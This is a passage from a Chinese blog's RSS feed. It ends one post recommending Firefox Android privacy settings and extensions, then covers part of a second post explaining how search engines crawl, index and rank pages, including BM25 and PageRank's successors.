&lt;p&gt;HTTP是&lt;strong&gt;明文传输&lt;/strong&gt;，账号密码、邮件内容都在裸奔
2025年了，仍不支持HTTPS的网站本身安全性就存疑
强制开启后，浏览器会在网站不支持HTTPS时发出警告，防止被悄悄降级劫持&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;基于 HTTPS 的 DNS (DoH)&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;传统DNS查询是&lt;strong&gt;明文&lt;/strong&gt;的，运营商或攻击者可以轻易看到你在访问&lt;code&gt;chongxi.us&lt;/code&gt;
&lt;strong&gt;DoH&lt;/strong&gt;把DNS查询封装进 HTTPS 流量，防止&lt;strong&gt;DNS污染与劫持&lt;/strong&gt;（如被运营商插入广告、跳转钓鱼站）
&lt;em&gt;如果你在 Android 系统设置中已经配置了&lt;code&gt;私人DNS&lt;/code&gt;，这里可以选择关闭，避免双重解析带来的延迟&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;隔离跨站Cookie&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Firefox的看家本领。它把每个网站的Cookie关在独立的沙箱里
比如，&lt;code&gt;Facebook&lt;/code&gt;的Cookie只能在&lt;code&gt;facebook.com&lt;/code&gt;读取，无法在你访问&lt;code&gt;x.com&lt;/code&gt;时通过第三方Cookie追踪你。这能大幅减少跨站广告追踪，且不影响单一网站的登录状态&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;数字指纹与跟踪器拦截&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;指纹跟踪&lt;/strong&gt;：通过你的屏幕分辨率、电池电量、字体列表等生成唯一ID，&lt;strong&gt;清空 Cookie 也无法消除&lt;/strong&gt;
&lt;strong&gt;重定向跟踪&lt;/strong&gt;：阻止链接跳转时的中间商记录，Firefox会尝试直接访问目标
&lt;strong&gt;挖矿拦截&lt;/strong&gt;：干掉那些利用你手机挖矿的恶意js脚本
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 必装拓展及配置指南&lt;/h2&gt;
&lt;p&gt;Firefox Android的精髓之一，这里推荐了一些优质插件&lt;/p&gt;
&lt;h3&gt;2.1 uBlock Origin&lt;/h3&gt;
&lt;p&gt;Android端最高效的广告与内容拦截器。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不同于Adblock Plus等商业软件，uBO 开源、免费、内存占用极低&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[setup]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;设置&lt;/code&gt; -&amp;gt; &lt;code&gt;防止 WebRTC 泄露本地 IP 地址&lt;/code&gt; &amp;amp; &lt;code&gt;我是高级用户&lt;/code&gt; 启用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;规则列表&lt;/code&gt; -&amp;gt; (如下图设置) 如果你有别的语言浏览需求，可以在&lt;code&gt;区域&lt;/code&gt;里启用对应语言规则&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./firefoxAndroid/3.webp&quot; alt=&quot;uBO-rule&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果有些网站无法工作，可以对其添加白名单
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 LocalCDN&lt;/h3&gt;
&lt;p&gt;去中心化的资源加载插件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;现代网页大量引用Google、Cloudflare等的公共库。这意味着你没访问Google，Google也能通过请求知晓你的IP&lt;/li&gt;
&lt;li&gt;LocalCDN 会拦截这些请求，直接用&lt;strong&gt;本地内置的文件&lt;/strong&gt;代替，达到切断跨站追踪，省流加速的效果&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[setup]
&lt;code&gt;基础&lt;/code&gt; -&amp;gt; &lt;code&gt;禁用链接预读取&lt;/code&gt; &amp;amp; &lt;code&gt;清除被允许的请求中的元数据 &lt;/code&gt; 开启即可
:::&lt;/p&gt;
&lt;h3&gt;2.3 Clear URLs&lt;/h3&gt;
&lt;p&gt;当你复制bilibili等链接给朋友时，链接往往长得吓人（比如带&lt;code&gt;?utm_source=...&lt;/code&gt;）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;此插件会清洗 URL 中的营销参数&lt;/li&gt;
&lt;li&gt;安装即用，无需额外配置。它会在后台默默把链接里的小尾巴追踪参数切掉，还你一个干净的地址&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 Random User-Agent&lt;/h3&gt;
&lt;p&gt;主要用于对抗浏览器指纹和某些国内网站的歧视&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过伪造 User-Agent，让网站以为你是Chrome，或者无法通过UA特征锁定你。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[setup]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;选择要伪装的浏览器，如Chrome&lt;/li&gt;
&lt;li&gt;勾选&lt;code&gt;将当前操作系统与生成的用户代理同步&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;不建议伪装成Desktop Windows，网页会变成电脑版，在手机上操作体验极差
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.5 沉浸式翻译&lt;/h3&gt;
&lt;p&gt;目前体验最好的网页双语对照翻译工具&lt;/p&gt;
&lt;p&gt;没啥好配置的，开箱即用&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 结&lt;/h2&gt;
&lt;p&gt;虽然Firefox在Android上的js跑分偶尔不如V8引擎那么激进，但为了那一份属于数据主权以及高度的可玩性，这极小的性能代价是完全值得的，Chrome有多简陋是有目共睹的&lt;/p&gt;
</content:encoded><category>Browser</category><author>Chongxi</author></item><item><title>现代SEO深度解析：原理、算法与实战</title><link>https://xice.cx/posts/modernSEO/</link><guid isPermaLink="true">https://xice.cx/posts/modernSEO/</guid><description>为现代站长打造的SEO深度指南。从抓取、索引到排序算法，系统讲解权威性建设与内容优化实战，纠正部分过时SEO思想</description><pubDate>Sun, 09 Nov 2025 22:02:03 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引言&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;SEO&lt;/code&gt;，也就是&lt;code&gt;Search Engine Optimization&lt;/code&gt;，它是一整套技术策略，目的是让搜索引擎更容易理解和索引你的网站，最终为用户提供更好的搜索结果&lt;/p&gt;
&lt;p&gt;SEO是一个长期的过程，需要根据搜索引擎的规则和算法来不断调整和优化&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本篇与《现代搜索引擎深度解析：从原理、算法到高效检索实践》是互补的关系，强烈建议您了解前作，&lt;a href=&quot;/2025/11/02/modernSearchEngine/&quot;&gt;&amp;gt;点击跳转&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 抓取 &lt;code&gt;Crawling&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;抓取是搜索引擎认识一个网站的第一步，爬虫程序会通过链接逐一访问网页并获取网页内容&lt;br /&gt;
你的网站页面必须能够被抓取，才能被搜索引擎索引并显示在搜索结果中&lt;/p&gt;
&lt;h3&gt;1.1 抓取队列 &amp;amp; URL发现&lt;/h3&gt;
&lt;p&gt;搜索引擎依赖一个叫做&lt;code&gt;Crawl Frontier&lt;/code&gt;(抓取队列)的系统。&lt;br /&gt;
抓取队列是一个管理URL的列表，爬虫会依照队列中的URL来抓取页面。&lt;br /&gt;
URL的发现主要有四种方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内部链接&lt;code&gt;Internal Links&lt;/code&gt;&lt;/strong&gt;：爬虫通过已经抓取的页面中的&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;标签来发现新页面。比如你的 &lt;em&gt;Arch Linux安装指南&lt;/em&gt; 中有链接指向 &lt;em&gt;GRUB引导配置详解&lt;/em&gt; ，爬虫会通过这个链接发现后一个页面&lt;/li&gt;
&lt;li&gt;外部链接&lt;code&gt;Backlinks&lt;/code&gt;：其他网站指向你网站的链接也是一个重要的发现途径。例如，如果一个音游社区在盘点作曲家xi的文章中，链接到你的 &lt;em&gt;xi在舞萌DX中的曲目有哪些&lt;/em&gt;，那这就是一个外部链接
&lt;em&gt;关于外链的SEO参见&lt;code&gt;PageRank&lt;/code&gt;讲解&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;站点地图&lt;code&gt;Sitemap&lt;/code&gt;&lt;/strong&gt;：站长提供一个&lt;code&gt;sitemap.xml&lt;/code&gt;，列出网站的所有重要页面。搜索引擎可以通过这个文件快速知道你站点下的内容物并索引&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;历史数据和预测&lt;code&gt;History &amp;amp; Prediction&lt;/code&gt;&lt;/strong&gt;：基于之前的抓取数据，搜索引擎会预测新的URL。例如，假设你的URL结构是&lt;code&gt;/chongxi/1/&lt;/code&gt;，那么爬虫可能会推测到可能存在&lt;code&gt;/chongxi/2/&lt;/code&gt;，并继续抓取&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 抓取策略：BFS &amp;amp; 优先级 &amp;amp; 自适应调度&lt;/h3&gt;
&lt;p&gt;面对海量的URL，爬虫需要有效管理抓取顺序
&lt;em&gt;以下内容可能你已经在上一篇搜索引擎详解看过了，这里就简单讲讲，当复习了&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;广度优先搜索&lt;code&gt;BFS&lt;/code&gt;&lt;/strong&gt;：最基础的抓取策略。它从起始页面开始，优先抓取离当前页面较近的页面（链接层级少）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;优先级调度&lt;code&gt;Priority Scheduling&lt;/code&gt;&lt;/strong&gt;：现代爬虫会根据多种信号动态调整优先级，例如：&lt;/p&gt;
&lt;p&gt;1.&lt;strong&gt;PageRank&lt;/strong&gt;：如果你的&lt;code&gt;舞萌DX入坑指南&lt;/code&gt;被很多高质量网站链接，爬虫可能认为这个页面更重要，会优先抓取和更新它，&lt;em&gt;但是&lt;code&gt;PageRank&lt;/code&gt;早已成为过去时，更替为了更先进的权威评估，详见3.3&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;2.&lt;strong&gt;更新频率&lt;/strong&gt;：比如一个&lt;code&gt;实时更新舞萌DX出勤记录&lt;/code&gt;的页面，可能会被更频繁地抓取&lt;/p&gt;
&lt;p&gt;3.&lt;strong&gt;用户需求&lt;/strong&gt;：如果&lt;em&gt;OpenWrt新版本编译&lt;/em&gt;成为热门搜索，相关的教程页面可能被优先抓取&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.3 抓取预算 &lt;code&gt;Crawl Budget&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;抓取预算&lt;code&gt;Crawl Budget&lt;/code&gt;是指搜索引擎对网站进行抓取的时间和资源限制。它由两部分组成：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;抓取率限制&lt;code&gt;Crawl Rate Limit&lt;/code&gt;&lt;/strong&gt;：指搜索引擎对你服务器的抓取频率限制。如果你的网站服务器响应很快，没有大量的404或5xx错误，爬虫就会抓取得更频繁&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;抓取需求&lt;code&gt;Crawl Demand&lt;/code&gt;&lt;/strong&gt;：指搜索引擎认为一个页面的抓取价值。例如，如果你的页面很有价值，或者页面内容经常更新&lt;em&gt;如频繁更新的舞萌DX曲目列表&lt;/em&gt;，爬虫会更频繁地抓取它&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1.4 抓取控制协议的层级与逻辑&lt;/h3&gt;
&lt;p&gt;站长可以通过多种方式来控制爬虫&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;robots.txt 文件&lt;/strong&gt;：位于网站的根目录下，告诉爬虫哪些路径&lt;strong&gt;不可以访问&lt;/strong&gt;
&lt;strong&gt;配置示例&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /tmp/
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot;&amp;gt;&lt;/code&gt;：页面级别的控制，放在HTML的&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;部分
&lt;strong&gt;配置示例&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表示此页面可抓取，但&lt;strong&gt;不要在搜索结果中显示&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;X-Robots-Tag&lt;/code&gt;：通过HTTP响应头控制抓取和索引，适用于非HTML文件（如PDF、图片等）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2.索引 &lt;code&gt;Indexing&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;索引是搜索引擎将网页内容转换成可查询、可检索的结构化数据的过程&lt;/p&gt;
&lt;h3&gt;2.1 文本预处理流水线&lt;/h3&gt;
&lt;p&gt;抓取到的网页内容会经过一系列处理：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内容提取&lt;/strong&gt;：剥离广告、侧边栏、页脚等模板化内容，专注于核心正文&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分词&lt;code&gt;Tokenization&lt;/code&gt;&lt;/strong&gt;：将文章内容分解成一个个单独的词元&lt;code&gt;token&lt;/code&gt;。例如，中文&lt;em&gt;小米路由器刷openwrt&lt;/em&gt;会被分割为&lt;code&gt;小米&lt;/code&gt;,&lt;code&gt;路由器&lt;/code&gt;,&lt;code&gt;刷入&lt;/code&gt;,&lt;code&gt;openwrt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标准化&lt;/strong&gt;：包括转小写、词形还原（如&quot;running&quot;到&quot;run&quot;）、去除停用词（如&quot;的&quot;,&quot;了&quot;）&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 核心数据结构 &lt;code&gt;I：倒排索引 Inverted Index&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;倒排索引是搜索引擎的核心数据结构之一，它建立&lt;strong&gt;词元 → 包含该词元的文档ID列表&lt;/strong&gt;的映射，允许快速查找&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
假设你的blog上有以下三篇文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文章1 &lt;code&gt;ID: 1&lt;/code&gt;&lt;/strong&gt;：标题 &lt;em&gt;在Arch Linux上优化Steam Proton性能的终极指南&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文章2 &lt;code&gt;ID: 2&lt;/code&gt;&lt;/strong&gt;：标题 &lt;em&gt;Arch Linux安装与配置i3wm&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文章3 &lt;code&gt;ID: 3&lt;/code&gt;&lt;/strong&gt;：标题 &lt;em&gt;推荐几款能在Linux上流畅运行的Steam独立游戏&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;经过文本预处理&lt;code&gt;分词、标准化&lt;/code&gt;后，搜索引擎会为一些关键的词元&lt;code&gt;Token&lt;/code&gt;建立如下的倒排索引表&lt;code&gt;Posting List&lt;/code&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;词元 &lt;code&gt;Token&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;包含该词元的文档ID列表 &lt;code&gt;Posting List&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;arch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[1, 2]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;linux&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[1, 2, 3]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;steam&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[1, 3]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;指南&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[1]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;游戏&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[3]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;安装&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[2]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;现在，我们来看当用户进行不同搜索时，倒排索引是如何工作的：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;场景一：简单查询&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当用户搜索&lt;code&gt;Arch&lt;/code&gt;时，搜索引擎直接访问&lt;code&gt;arch&lt;/code&gt;的倒排列表，瞬间返回 &lt;code&gt;[文档1, 文档2]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;场景二：布尔查询&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当用户搜索&lt;code&gt;Arch Linux Steam&lt;/code&gt;时，搜索引擎会执行以下高效的&lt;strong&gt;交集运算&lt;/strong&gt;：
1.  取出&lt;code&gt;arch&lt;/code&gt;的列表：&lt;code&gt;[1, 2]&lt;/code&gt;
2.  取出&lt;code&gt;linux&lt;/code&gt;的列表：&lt;code&gt;[1, 2, 3]&lt;/code&gt;
3.  取出&lt;code&gt;steam&lt;/code&gt;的列表：&lt;code&gt;[1, 3]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;接下来，对这些已排序的列表进行合并求交集操作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- [1, 2] AND [1, 2, 3]  =&amp;gt; [1, 2]

 *然后用上一步的结果继续求交集*
 
- [1, 2] AND [1, 3] =&amp;gt; [1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，搜索引擎&lt;strong&gt;在数毫秒内&lt;/strong&gt;就精确地锁定了唯一相关的&lt;strong&gt;文章1&lt;/strong&gt;，而完全不需要去扫描那数以亿计的、与查询无关的文档
:::&lt;/p&gt;
&lt;h3&gt;2.3 核心数据结构 &lt;code&gt;II：向量索引 Vector Index &amp;amp; 语义空间&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;现代搜索引擎引入了向量索引，以理解查询的&lt;strong&gt;语义&lt;/strong&gt;。通过深度学习技术，将每个词或文档转换为一个高维的向量&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
你的两篇文章 &lt;em&gt;OpenWrt如何搭建家庭云存储&lt;/em&gt; 和 &lt;em&gt;如何用OpenWrt搭VPN服务器&lt;/em&gt;，虽然关键词不完全相同，但内容主题相关。&lt;br /&gt;
通过向量索引，搜索引擎能将它们的语义关系转化为向量空间中的距离，知道它们都属于&lt;code&gt;OpenWrt高级配置&lt;/code&gt;这个主题。因此，当用户搜索&lt;code&gt;OpenWrt VPN&lt;/code&gt;，搜索引擎也可能推荐&lt;code&gt;OpenWrt家庭云存储&lt;/code&gt;的文章
:::&lt;/p&gt;
&lt;h3&gt;2.4 内容去重与规范化&lt;/h3&gt;
&lt;p&gt;互联网充满了重复内容，搜索引擎采用如 &lt;code&gt;SimHash&lt;/code&gt; 等去重算法来识别相似内容，并只索引一个&lt;code&gt;权威版本&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;文章A：如何在 OpenWRT 上安装 OpenClash 服务&lt;/li&gt;
&lt;li&gt;文章B：OpenWrt OpenClash 安装配置指南&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;如果内容高度相似，搜索引擎会认为它们是重复内容。此时，&lt;code&gt;rel=&quot;canonical&quot;&lt;/code&gt;标签就起到了作用，它可以明确告诉搜索引擎哪一篇是主要的版本，其他重复内容的权重会被归并到主版本中
:::&lt;/h2&gt;
&lt;h2&gt;3.排序算法与信号解构 &lt;code&gt;Ranking Algorithms &amp;amp; Signals&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;排序是搜索引擎将从索引库中召回的成千上万个相关文档，按优先级展示给用户的过程。这个过程涉及多个阶段的筛选与打分&lt;/p&gt;
&lt;h3&gt;3.1 排序的多阶段漏斗模型&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;以下内容在前文已提及，这里作简单概述&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;排序过程可以看作一个漏斗模型，逐步筛选和精化结果：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;召回 &lt;code&gt;Recall&lt;/code&gt;&lt;/strong&gt;：通过倒排索引和向量索引，从亿万文档中找到几千个最相关的候选文档&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;初排 &lt;code&gt;Coarse Ranking&lt;/code&gt;&lt;/strong&gt;：使用计算开销较低的算法（如 BM25）对候选文档进行初步评分，筛选出几百个最有潜力的结果&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;精排 &lt;code&gt;Fine-grained Ranking&lt;/code&gt;&lt;/strong&gt;：使用复杂的机器学习模型，综合数百个信号对候选文档进行进一步的精准排序&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重排 &lt;code&gt;Re-ranking&lt;/code&gt;&lt;/strong&gt;：在精排基础上，根据用户的个性化需求、时效性等因素对结果进行最后的微调&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3.2 初排核心算法：BM25&lt;/h3&gt;
&lt;p&gt;BM25 是搜索引擎常用的一种初排算法，它基于概率模型来估算文档与查询之间的相关性，是&lt;code&gt;TF-IDF&lt;/code&gt;的改进版&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
查询：OpenWrt 配置代理服务&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;文档A：&lt;em&gt;如何在 OpenWrt 上配置代理服务&lt;/em&gt;，1500字，关键词&quot;OpenWrt&quot;、&quot;代理服务&quot;出现了10次&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;文档B：&lt;em&gt;OpenWrt 基础设置指南&lt;/em&gt;，篇幅8000字，也提到了&quot;代理服务&quot;几次，但更多篇幅在讲DHCP、DNS等&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;BM25如何评分&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;词频 (TF)&lt;/strong&gt;：文档A中关键词频率更高，得分会更高。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文档长度&lt;/strong&gt;：BM25会惩罚过长的文档。文档B虽然也包含关键词，但因为它篇幅太长，主题不够集中，其分数会因此被拉低，避免了长文档因包含更多杂乱关键词而获得不公平的优势&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;词频饱和度&lt;/strong&gt;：文档A即使把&quot;代理服务&quot;重复100次，其得分也不会无限增长，有效防止了关键词堆砌
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;3.3 链接权威性模型：PageRank的暴死 &amp;amp; 现代权威模型&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;PageRank&lt;/code&gt;是Google早期的革命性算法，它第一次将互联网上杂乱无章的链接，变成了一张巨大的、可计算的&lt;strong&gt;信任投票网络&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一个网页的权威性，部分继承自链接到它的其他网页的权威性。一个链接，就是一张推荐票&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::blue[EXAMPLE]
假设你写了一篇关于 &lt;em&gt;曲师xi的BMS时代名曲考据&lt;/em&gt; 的文章&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;情况一&lt;/strong&gt;：这篇文章只发布在你的个人博客上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;情况二&lt;/strong&gt;：这篇文章被&lt;code&gt;BEMANI WIKI&lt;/code&gt;以及一些资深乐评的blog引用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;从&lt;code&gt;传统PageRank的视角&lt;/code&gt;来看&lt;/strong&gt;：在情况二中，每一个指向你文章的链接都是一张信任票。来自&lt;code&gt;BEMANI WIKI&lt;/code&gt;这个专家的权重，远高于100个普通论坛签名链接的权重。因此，情况二的文章会被赋予高得多的PageRank值，被认为是更权威、更值得信赖的资源
:::&lt;/p&gt;
&lt;p&gt;:::red[你说的对但是]
那个0-10分的公开&lt;code&gt;PageRank&lt;/code&gt;评分，&lt;strong&gt;早在2013年底就已停止更新，并于2016年被Google正式死刑宣判!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;为何暴死？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它的&lt;strong&gt;公开性&lt;/strong&gt;和&lt;strong&gt;简单性&lt;/strong&gt;，催生了一个巨大的、扭曲的链接交易市场。黑帽SEO们不再专注于创造高质量内容，而是痴迷于购买和交换高PR值的链接，试图操纵这个投票系统&lt;/p&gt;
&lt;p&gt;这就像一场选举中，出现了大规模的贿选和假票，导致选举结果不再可信。公开的PageRank，从一个衡量权威的指标，&lt;strong&gt;异化&lt;/strong&gt;成了一个可被直接攻击和利用的漏洞，污染了整个搜索生态&lt;/p&gt;
&lt;p&gt;为了维护搜索结果的公正性，Google不得不亲手处决了这个曾经的王牌算法的公开形态(好似喵)
:::&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PageRank转世的现代权威模型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PR已死，但&lt;strong&gt;通过链接分析来计算权威性&lt;/strong&gt;这个核心思想，非但没有消失，反而以一种更复杂、更智能、更无法被轻易操纵的形式，融入了现代搜索引擎数百个排名信号的汪洋大海之中&lt;/p&gt;
&lt;p&gt;我们可以将现代的权威模型，理解为PageRank-ADVANCED。它不再只关心谁投了票，更关心：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;投票的上下文相关性 &lt;code&gt;Topical Relevance&lt;/code&gt;&lt;/strong&gt;
&lt;strong&gt;现代模型如何思考&lt;/strong&gt;：一个链接的价值，很大程度上取决于它所在的&lt;strong&gt;页面的主题&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
一个来自 &lt;em&gt;Arch Linux中文维基&lt;/em&gt; 页面上指向你 &lt;em&gt;Arch Linux安装指南&lt;/em&gt; 的链接，其价值&lt;strong&gt;远高于&lt;/strong&gt;一个来自 &lt;em&gt;美食博客大全&lt;/em&gt; 的链接，即使后者的传统意义上PR值可能更高&lt;/p&gt;
&lt;p&gt;因为前者可以告诉Google：一个Linux领域的权威，推荐了另一个Linux领域的资源&lt;br /&gt;
这是一个&lt;strong&gt;高度相关&lt;/strong&gt;的且专业的背书
:::&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;链接周围的环境 &lt;code&gt;Surrounding Context&lt;/code&gt;&lt;/strong&gt;
&lt;strong&gt;现代模型如何思考&lt;/strong&gt;：链接周围的文本，这个链接是编辑精心放置在正文中的，还是藏在网站页脚的一堆链接？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;高价值：&lt;/strong&gt;
在一篇评测OpenWrt路由器的文章正文中，作者写道：关于旁路由的详细配置，我强烈推荐大家参考不良林上的这篇 &lt;em&gt;OpenWrt旁路由超详细配置指南&lt;/em&gt;（链接），他把所有坑都讲清楚了&lt;s&gt;这不是接广&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;低价值&lt;/strong&gt;：
在你朋友博客的页脚友链区域，有一个简单的锚文本链接&lt;em&gt;Chongxi的blog&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;前者的上下文清晰地解释了&lt;strong&gt;为什么&lt;/strong&gt;要推荐你，这是一个强烈的编辑推荐信号
:::&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;链接的用户行为 &lt;code&gt;User Behavior&lt;/code&gt;&lt;/strong&gt;
&lt;strong&gt;现代模型如何思考&lt;/strong&gt;：这个链接，真有人看吗？用户点击后，是长时间停留，还是立刻返回&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
Google可以通过Chrome浏览器、Android系统等多种渠道，获取匿名的用户行为数据。如果一个指向你《舞萌DX定数表》的链接被大量用户点击，并且用户在你页面上平均停留了5分钟，这就在事实上验证了这个链接的&lt;strong&gt;真实价值&lt;/strong&gt;
:::&lt;/p&gt;
